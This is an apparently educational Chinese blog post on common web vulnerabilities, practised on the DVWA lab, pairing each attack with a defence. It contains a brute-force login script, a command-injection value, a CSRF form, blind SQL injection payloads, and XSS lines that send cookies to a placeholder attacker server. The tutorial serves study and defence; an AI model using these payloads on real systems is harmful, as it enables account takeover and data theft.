前言

    最近在公司做Linux下的PHP开发,所以乘此机会学习了下Web安全,了解了常见的Web安全漏洞,以及对应的防御方法(使用DVWA进行学习)。

暴力破解

场景

    在类似用户登陆界面,如果系统没有限制用户的尝试次数,且没有验证码的情况下,就存在该漏洞

利用方法
import requests

URL = r'http://192.168.56.101/DVWA/vulnerabilities/brute/';#破解地址
cookies = dict(security='medium', PHPSESSID='4sijad6qd225aai8ha02tr82e3')#cookie设置

users = ("root","system","admin");#用户库
pwds = ("123123","123456","password","root");#密码库

arguments = {"username":"","password":"","Login":"Login"};#构造请求参数

for user in users:
    for pwd in pwds:
        arguments['username'] = user;
        arguments['password'] = pwd;

        r = requests.get(URL,arguments,cookies=cookies);

        if r.text.find("Username and/or password incorrect.") == -1:#判断是否成功破解
            print(user,pwd);
            exit(0);

print("defeat");
防御方法

    添加验证码,限制尝试次数。

命令注入

场景

    web服务器接受用户提交的数据,作为系统命令或程序的参数,这种情况下就会容易造成命令注入。

利用方法

    传入参数,构造另一个命令,比如web程序接受一个ip地址作为ping命令的参数,则我们可以传入'127.0.0.1 | dir',则dir会执行。

防御方法

    使用白名单。严格限制用户的输入,比如你想要一个ip地址,则必须在服务端验证用户输入的是否是一个ip地址, 永远不要相信用户提交的数据

CSRF

场景

    在一个转账网站下,存在两个用户,用户A构造一个恶意网站给用户B,用户B单击后,自己账号中的钱全部转给了用户A。

利用方法
<form action="转账的URL" method='XX'>
    <input type='hidden' name='username' value='hacker'>
    <input type='hidden' name='money' value='10000'>
    <input type="submie">
</form>
防御方法

    添加csrf_token、加用户表示确认的信息(验证码、密码)

文件包含

场景

    程序员在编写PHP服务端代码时,为了代码复用,将公用代码写成另一个文件,然后include进需要使用的代码。如果用户能控制include 的参数,则会产生文件包含漏洞

利用方法

    include 的参数可控,且PHP开启allow_url_include,则我们可以让被攻击的Web服务器执行webshell(注意:文件名以txt结尾,如果是服务端脚本文件的话,则脚本会在我们的服务器上执行,否则在被攻击服务器上执行),如果不能进行url包含,则我们可以结合文件上传漏洞执行webshell。

防御方法

    关闭远程url包含,且include的参数设置用白名单。

文件上传

场景

    网站有上传文件的功能,如果没做好相应的防范措施,则我们可以上传webshell

利用方法

    如果没有限制上传文件的格式,则我们直接上传webshell。如果服务器检查了文件的格式,则我们可以抓包,然后修改数据包中,文件格式为合法格式。如果服务器对上传的文件进行了内容检查,则我们可以 copy test.img/b + test.txt/a test1.img 生成一个包含代码的图片上传,然后利用文件包含漏洞执行webshell

防御方法

    对上传的文件进行相应的编码,不给与执行权限

SQL回显注入

场景

    Web服务器将sql执行的结果返回给用户(包括sql执行的错误信息)。且没有对用户输入的数据进行相应的处理,直接构造动态sql。则多半会存在SQL回显注入。则用户可以构造恶意数据,获得数据库中的信息。

利用方法

    由于服务器会显示SQL执行的结果(包括sql执行的错误信息),则我们可以利用order by 与 union select 猜解字段数,利用 select user(),database() 获得当先用户名与数据库名, 然后通过

select table_name from information_schema.tables where table_schema='database name'

获得表名

通过

select column_name from information_schema.columns where table_name='table name'

获得字段名
得到表名与字段名之后,我们就可以查询数据库中的信息了。

防御方法

    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。

SQL盲注

场景

    用户向Web服务器提交查询,服务器只会返回‘真’或‘假’,且web服务器为对用户输入的数据没有进行检查,动态构造sql语句,则多半会存在SQL盲注。则用户可以构造恶意数据,获得数据库中的信息。

利用方法

    由于服务器只会返回真或假,则我们可以利用 length,substr,ascii,sleep 函数获得用户名,数据库名,表名,字段名,表中对应的数据。
如服务器如下代码构造sql语句

$id = $_GET('id');
$sql = 'select * from test where id = '$id'';

则我们可以这样提交id: 1' and 这里为你想执行的sql -- '
获得数据库名字的方法输入
1' and ascii(substr(database(),1,1)) = 65 -- '
这里我们猜数据库名的第一个字符为65.如果服务器中确实存在id为1的数据,则如果我们猜测数据库的第一个字符为65则返回真,否则返回假。一直猜下去就会得到数据库名。

防御方法

    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。

XSS

分类

    XSS分存储型XSS,反射型XSS,DOM型XSS。存储型XSS,反射型XSS的区别是前一个恶意代码在数据库中,后一个在url中,相同点是输出都在HTTP响应中。反射型XSS,DOM型XSS的区别是一个输出在HTTP响应中,一个在DOM结点中, 相同点是:恶意代码都在URL中。

场景

    一个网站中,存在用户A与用户B,用户B构造XSS攻击,发送网址给用户A,用户A单击后,用户B就能以用户A的身份登陆网站。

利用方法

<script>恶意代码</script>,或<img src=x onerror="恶意代码">

获取cookie的方法为,黑客架设一个web服务器接受cookie,恶意代码为:

window.open('黑客服务器?cookie='+document.cookie);
//或
document.location='黑客服务器?cookie='+document.cookie;
防御方法

    对特殊字符进行编码(htmlspecialchars函数)

总结

    永远不要相信用户的输入,一定要进行合法性验证。且使用白名单而不是黑名单。

Web安全入门学习的更多相关文章

  1. Web开发入门学习笔记

    公司web项目终于要启动了,本以为django学习可以在实战中进行,结果最终使用了Drupal框架,好吧,那我们就PHP走起,买了本<细说PHP>,先跟着过一遍Web开发入门. HTTP协 ...

  2. web前端零基础入门学习!前端真不难!

    现在互联网发展迅速,前端也成了很重要的岗位之一,许多人都往前端靠拢,可又无能为力,不知所措,首先我们说为什么在编程里,大家都倾向于往前端靠呢?原因很简单,那就是,在程序员的世界里,前端开发是最最简单的 ...

  3. abp学习(四)——根据入门教程(aspnetMVC Web API进一步学习)

    Introduction With AspNet MVC Web API EntityFramework and AngularJS 地址:https://aspnetboilerplate.com/ ...

  4. PyQt4入门学习笔记(一)

    PyQt4入门学习笔记(一) 一直没有找到什么好的pyqt4的教程,偶然在google上搜到一篇不错的入门文档,翻译过来,留以后再复习. 原始链接如下: http://zetcode.com/gui/ ...

  5. Aho-Corasick算法、多模正则匹配、Snort入门学习

    希望解决的问题 . 在一些高流量.高IO的WAF中,是如何对规则库(POST.GET)中的字符串进行多正则匹配的,是单条轮询执行,还是多模式并发执行 . Snort是怎么组织.匹配高达上千条的正则规则 ...

  6. ReactJS入门学习二

    ReactJS入门学习二 阅读目录 React的背景和基本原理 理解React.render() 什么是JSX? 为什么要使用JSX? JSX的语法 如何在JSX中如何使用事件 如何在JSX中如何使用 ...

  7. 【python】 web开发入门

    进入Web开发 现在你完成了Python忍者训练,准备深入Ptyhon的Web开发,但现在的问题是有很多的框架,从中选择最好的框架非常困难,但从初学者的角度出发,Flask基本Web框架将非常适合We ...

  8. 《Web编程入门经典》

    在我还不知道网页的基础结构的时候,我找过很多本介绍Web基础的书籍,其中这本<Web编程入门经典>,我认为是最好的. 这本书内容很全面.逻辑很严谨.结构很清晰.语言文字浅显易懂. 看这本书 ...

  9. web前端的学习误区

    web前端的学习误区  网页制作是计算机专业同学在大学期间都会接触到的一门课程,而学习网页制作所用的第一个集成开发环境(IDE)想必大多是Dreamweaver,这种所见即所得的“吊炸天”IDE为我们 ...

随机推荐

  1. Java容器类源码分析之Iterator与ListIterator迭代器(基于JDK8)

    一.基本概念 迭代器是一个对象,也是一种设计模式,Java有两个用来实实现迭代器的接口,分别是Iterator接口和继承自Iterator的ListIterator接口.实现迭代器接口的类的对象有遍历 ...

  2. csharp: FTP Client Library using System.Net.FtpWebRequest

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.D ...

  3. CSS中的行内元素和块级元素

    我们在构造页面时,会发现有的元素是上下排列的,而有的则是横向排列的,这是为啥子呢   看看上图,我们也没给他设置啥子属性咋就不一样了,其实是因为每个元素都有默认的 display 属性,比如 div ...

  4. 【读书笔记】iOS-解析JSON

    JSON相比XML最显著的优点是不需要使用重量级的解析库,因为其本身就是面向数据的,而且非常容易转换成哈希字典.除此之外,JSON文档相比同样的XML文档更小.在网络宽带有限的情况下,你很容易在Iph ...

  5. react+antd分页 实现分页及页面刷新时回到刷新前的page

    antd框架地址:https://ant.design/index-cn 利用antdUI框架做了个分页,其他功能都没问题,但是页面跳转后刷新会回到第一页,经过学习,在组件里增加了hash值,详情请看 ...

  6. IDEA项目搭建十一——添加拦截器、忽略URL大小写、启动事件

    程序启动时如果需要添加某些初始化代码可以使用以下事件处理 import org.springframework.context.ApplicationEvent; import org.springf ...

  7. python *args,**kwargs用法

    *args用于接受传入的值,无限制,但是不能接收key类型的,如c=2 def fun(*args): for i in args: print(i) print("test") ...

  8. win7 x64 +vs2015 + cmake3.10.3编译opencv-3.4.1+opencv_contrib-3.4.1源码,并进行配置

    简介: 一直以来都是在ubuntu下使用opencv,最近因为有<图像处理与模式识别>这门课,需要使用vs2015+opencv提交课程作业,因为opencv官方编译好的exe没有cont ...

  9. Ubuntu18.4中Apache在加不同端口的虚拟主机

    1.添加监听端口 sudo vim /etc/apache2/ports.conf Listen 80 Listen 6080 <IfModule ssl_module>         ...

  10. JMeter 配置元件之计数器Counter

    配置元件之计数器Counter   by:授客 QQ:1033553122 测试环境 apache-jmeter-2.13 1.   计数器简介 允许用户创建一个在线程组范围之内都可以被引用的计数器. ...